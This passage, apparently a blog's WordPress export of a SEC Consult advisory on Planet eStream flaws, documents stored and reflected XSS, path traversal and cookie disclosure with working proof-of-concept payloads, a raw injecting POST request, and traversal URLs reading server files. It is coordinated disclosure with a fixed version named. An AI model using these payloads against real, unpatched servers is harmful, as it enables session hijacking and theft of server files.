Publisher, or Admin to<br \/>\nexploit the vulnerability. The issue can be verified by placing malicious HTML<br \/>\ncode in the title input field of the content creation dialog window. For this<br \/>\nthe following malicious payload can be used:<br \/>\n===============================================================================<br \/>\n&lt;img src=&#8217;x&#8217; onerror=&#8217;javascript:alert(location.origin)&#8217; style=&#8217;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">When the content creation progress is finished, the JavaScript code is<br \/>\npermanently stored in the web application. It will trigger in every browser that<br \/>\nvisits webpages that lists the modified item (for example, under the category<br \/>\nview, search results and content list).<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The following content upload possibilities are affected by this vulnerability:<br \/>\n&#8211; Upload Video or Audio files<br \/>\n&#8211; Upload Documents<br \/>\n&#8211; Add External Links<br \/>\n&#8211; Playlist<br \/>\n&#8211; Photoset<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">f) Related Media<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">HTML code can be injected in the title of the related media upload. Editing<br \/>\naccess to the content is required. This is normally the case for the users with<br \/>\nthe role Editors, Publishers or Admins. The malicious code can be injected in<br \/>\nthe title of the related content. To validate the vulnerability a new file must<br \/>\nbe uploaded in the related media tab. The next step is to change the filename<br \/>\nto inject the malicious HTML and JavaScript code.<br \/>\n===============================================================================<br \/>\n&lt;img src=&#8217;x&#8217; onerror=&#8217;javascript:alert(location.origin)&#8217;photo.png<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">When the title including the malicious payload is saved and the page reloaded,<br \/>\nthe payload within the title will be executed. The new title is stored in the<br \/>\nweb application along with the malicious HTML code. It will execute in any<br \/>\nbrowser that visits the content item. Opening the related media tab is not<br \/>\nnecessary.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">g) Create new user<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Admin to exploit the stored<br \/>\nXSS vulnerability. The vulnerability will be executed afterwards for admin users<br \/>\nin the user section and for the created users once they are logged in. To verify<br \/>\nthe issue, an attacker needs to create a new user. Under Tools -&gt; Admin -&gt;<br \/>\nUsers, Permissions, Authentication -&gt; Users the admin has the possibility to<br \/>\ncreate new users.<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Admin\/EditUser.aspx<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The following malicious payload was added to the Full Name input field:<br \/>\n===============================================================================<br \/>\n&lt;script&gt;alert(location.origin)&lt;\/script&gt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After creating the new user, the malicious payload gets executed once the new<br \/>\nuser logs in or the admin visits the user section (Tools -&gt; Admin -&gt; Users,<br \/>\nPermissions, Authentication -&gt; Users).<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">h) Change Username<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">A cross-site scripting vulnerability can be found under https:\/\/$host\/MyHome.aspx<br \/>\nwhere a user can edit the name shown on his home page. All authenticated users<br \/>\ncan access home pages of other users and are thus affected by this vulnerability.<br \/>\nFurthermore, the vulnerability can be exploited by an authenticated user of any<br \/>\nrole. The following request was used to change the username.<br \/>\n===============================================================================<br \/>\nPOST \/Ajax.asmx\/SaveLayoutData HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Length: 360<br \/>\nContent-Type: application\/json; charset=UTF-8<br \/>\n[&#8230;]\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;id&#8221;:$ID,&#8221;layoutdata&#8221;:&#8221;[{\\&#8221;title\\&#8221;:{\\&#8221;enabled\\&#8221;:true,\\&#8221;text\\&#8221;:\\&#8221;test&lt;img<br \/>\nsrc=&#8217;x&#8217; onerror=&#8217;alert(location.origin)&#8217;\\&#8221;,[&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The request is accepted by the web application as shown below:<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: application\/json; charset=utf-8<br \/>\nContent-Length: 92<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;d&#8221;:&#8221;{\\&#8221;Success\\&#8221;:true,\\&#8221;Message\\&#8221;:\\&#8221;Layout erfolgreich gespeichert\\&#8221;,\\&#8221;HTML\\&#8221;:<br \/>\n[\\&#8221;455\\&#8221;]}&#8221;}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Sending the request directly bypasses the check for special characters like &lt; or &gt;<br \/>\nthat exist in the frontend. The malicious username string is embedded on the<br \/>\nwebsite and will execute when it is opened in the browser in any subsequent<br \/>\nrequest.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">6) Reflected Cross-Site Scripting (XSS) (CVE-2022-45890)<br \/>\nAn attacker needs authenticated access to the web application with the role<br \/>\nMember or higher to identify and exploit the vulnerability. To identify this<br \/>\nvulnerability, it is sufficient to open the following URL (no special manipulation<br \/>\nof the request is needed) and analyze the HTTP response from the web server:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Default.aspx?search=test&#038;page=1&#038;fp=0&#038;r=(0_7_0_%3Ch1%3ESEC%20Consult%3C\/h1%3E__)<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The string SEC Consult is embedded in the webpage of this URL.<br \/>\nThe next step is to identify a working payload which triggers the cross-site<br \/>\nscripting vulnerability. To verify the vulnerability, it is sufficient to open<br \/>\nthe following URL:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Default.aspx?search=*&#038;o=8&#038;page=1&#038;fp=0&#038;r=(0_7_0_%3Cscript%3Ealert(location.origin)%3C\/script%3E__)<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Another working payload for the fo parameter was identified:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Default.aspx?search=*&#038;fo=%3Cimg%20onerror=%22javascript:alert(location.origin)%22%20src=%22abcdef%22;\/\/<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">It must be mentioned that all metadata filter fields are affected by this<br \/>\nvulnerability.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">7) Path Traversal (CVE-2022-45894)<br \/>\nAn attacker authenticated with the role Member can navigate to the vulnerable<br \/>\nURL path provided below and inject &#8220;..\\&#8221; sequences to move up directories on the<br \/>\nweb server and access local files.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Simply navigating to the link with the injected path traversal payload an<br \/>\nattacker can download any file on the web server and read its contents.<br \/>\nTo verify the vulnerability the file NetSetup.LOG which contains details of the<br \/>\nentire process of joining the domain was downloaded. The following URL was used:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/GetFile.aspx?file=\/image\/..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\debug\\NetSetup.LOG<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">8) Information Disclosure (CVE-2022-45895)<br \/>\na) ON cookie<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The information disclosure of the ON cookie was identified on three different<br \/>\npages of the web application. Since the cookie can be used to access other user<br \/>\naccounts with elevated privileges, it comprises highly confidential information.<br \/>\nIt is embedded in the web application&#8217;s response in different ways and there are<br \/>\nalways multiple cookies for different users in the response. Requests to obtain<br \/>\nthe sensitive information can be performed with authentication as arbitrary<br \/>\nuser.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The ON cookie was embedded in three pages that are accessible under the<br \/>\nfollowing paths:<br \/>\n&#8211; \/Default.aspx?catid=69 (HTML)<br \/>\n&#8211; \/Default.aspx?search=*&amp;o=8&amp;page=1&amp;report=1&amp;rlt=0&amp;export=1&amp;t=1661787629149 (CSV)<br \/>\n&#8211; \/GetJson.aspx?t=1&amp;display=3&amp;data=69&amp;source=2&amp;o=8&amp;title= (JSON)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As an example the ON cookie leakage is shown in the HTML response. The cookie<br \/>\nvalue can be identified in the href and src attributes of the a element<br \/>\n($VALID_COOKIE).<br \/>\n===============================================================================<br \/>\n[&#8230;]\n&lt;div&gt;&lt;a title=&#8221;Open Media&#8221; tabindex=&#8221;-1&#8243; href=&#8221;\/View.aspx?id=228~$VALID_COOKIE&#8221;&gt;<br \/>\n&lt;img title=&#8221;228&#8243; data-alt-src=&#8221;&#8221; src=&#8221;\/Media\/Images\/ClipData\/228_$VALID_COOKIE.jpg&#8221;\/&gt;&lt;\/a&gt;<br \/>\n[&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">b) WhoAmI<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The sensitive data comprises internal information that lets an attacker gain<br \/>\ndeeper knowledge about the application. To verify the vulnerability, it is<br \/>\nsufficient to request the following URL as authenticated user (any role):<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/WhoAmI.aspx<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An excerpt of the disclosed information is shown:<br \/>\n===============================================================================<br \/>\n&lt;div [&#8230;]&gt;APPL_MD_PATH&lt;\/div&gt;[&#8230;]\/ROOT<br \/>\n&lt;div [&#8230;]&gt;APPL_PHYSICAL_PATH&lt;\/div&gt;c:\\inetpub\\[&#8230;]\\<br \/>\n&lt;div [&#8230;]&gt;LOCAL_ADDR&lt;\/div&gt;172.0.0.5<br \/>\n&lt;div [&#8230;]&gt;PATH_TRANSLATED&lt;\/div&gt;c:\\inetpub\\[&#8230;]\\WhoAmI.aspx<br \/>\n&lt;div [&#8230;]&gt;REMOTE_ADDR&lt;\/div&gt;172.0.255.6<br \/>\n&lt;div [&#8230;]&gt;SERVER_PORT&lt;\/div&gt;443<br \/>\n&lt;div [&#8230;]&gt;SERVER_PROTOCOL&lt;\/div&gt;HTTP\/1.1<br \/>\n&lt;div [&#8230;]&gt;SERVER_SOFTWARE&lt;\/div&gt;Microsoft-IIS\/9.0<br \/>\n&lt;div [&#8230;]&gt;Enable New UI&lt;\/div&gt;-1<br \/>\n&lt;div [&#8230;]&gt;Enable New UI (Schema)&lt;\/div&gt;False<br \/>\n&lt;div [&#8230;]&gt;Prop.OnMobileDevice&lt;\/div&gt;0<br \/>\n&lt;div [&#8230;]&gt;UID&lt;\/div&gt;228<br \/>\n&lt;div [&#8230;]&gt;Prop.MachineName&lt;\/div&gt;[&#8230;]\n&lt;div [&#8230;]&gt;Demo Server&lt;\/div&gt;False<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Vulnerable \/ tested versions:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nThe vulnerabilities have been found in version 6.72.07.04.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Vendor contact timeline:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n2022-09-02: Submitting initial critical findings to vendor.<br \/>\n2022-10-03: Contacting vendor through direct email.<br \/>\n2022-10-03: Providing vendor with proof-of-concept.<br \/>\n2022-10-24: The new software version (6.72.09.29) with the security patches of the<br \/>\nreported vulnerabilities was tested by SEC Consult.<br \/>\n2022-10-24: SEC Consult could determine that the critical findings were fixed<br \/>\nappropriately and are no longer exploitable in the version (6.72.09.29).<br \/>\n2022-11-04: Following up with vendor.<br \/>\n2022-11-10: Follow up again.<br \/>\n2022-11-18: Vendor provided updated version number (6.72.10.07) which includes all<br \/>\nof the fixes.<br \/>\n2022-11-18: Vendor confirmed that all customers have been contacted and recommended<br \/>\nto update.<br \/>\n2022-11-25: Received CVE numbers.<br \/>\n2022-11-30: Coordinated release of security advisory.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Solution:<br \/>\n&#8212;&#8212;&#8212;<br \/>\nThe vendor rolled out a new software version. Affected users should verify that<br \/>\nthey are using the latest version available v6.72.10.07 which fixes all<br \/>\nidentified security issues according to the vendor.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Workaround:<br \/>\n&#8212;&#8212;&#8212;&#8211;<br \/>\nNone<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Advisory URL:<br \/>\n&#8212;&#8212;&#8212;&#8212;-<br \/>\nhttps:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">SEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">About SEC Consult Vulnerability Lab<br \/>\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>\nAtos company. It ensures the continued knowledge gain of SEC Consult in the<br \/>\nfield of network and application security to stay ahead of the attacker. The<br \/>\nSEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>\nthe evaluation of new offensive and defensive technologies for our customers.<br \/>\nHence our customers obtain the most current information about vulnerabilities<br \/>\nand valid recommendation about the risk profile of new technologies.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>\nInterested to work with the experts of SEC Consult?<br \/>\nSend us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Interested in improving your cyber security with the experts of SEC Consult?<br \/>\nContact our local offices https:\/\/sec-consult.com\/contact\/<br \/>\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Mail: security-research at sec-consult dot com<br \/>\nWeb: https:\/\/www.sec-consult.com<br \/>\nBlog: http:\/\/blog.sec-consult.com<br \/>\nTwitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">EOF T. Vogel, P. Espernberger \/ 2022<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20221130-0 &gt; ======================================================================= title: Multiple critical vulnerabilities product: Planet Enterprises Ltd &#8211; Planet eStream vulnerable version: &lt;6.72.10.07 fixed version: 6.72.10.07 CVE number: CVE-2022-45896, CVE-2022-45893, CVE-2022-45891, CVE-2022-45889, CVE-2022-45892, CVE-2022-45890, CVE-2022-45894, CVE-2022-45895 impact: critical homepage: https:\/\/www.planetestream.co.uk found: 2022-09-01 by: Timon Vogel (Office Vienna) Philipp Espernberger (Office Linz) Hrvoje Filakovic (Office &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34571","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34571"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34571\/revisions"}],"predecessor-version":[{"id":34626,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34571\/revisions\/34626"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}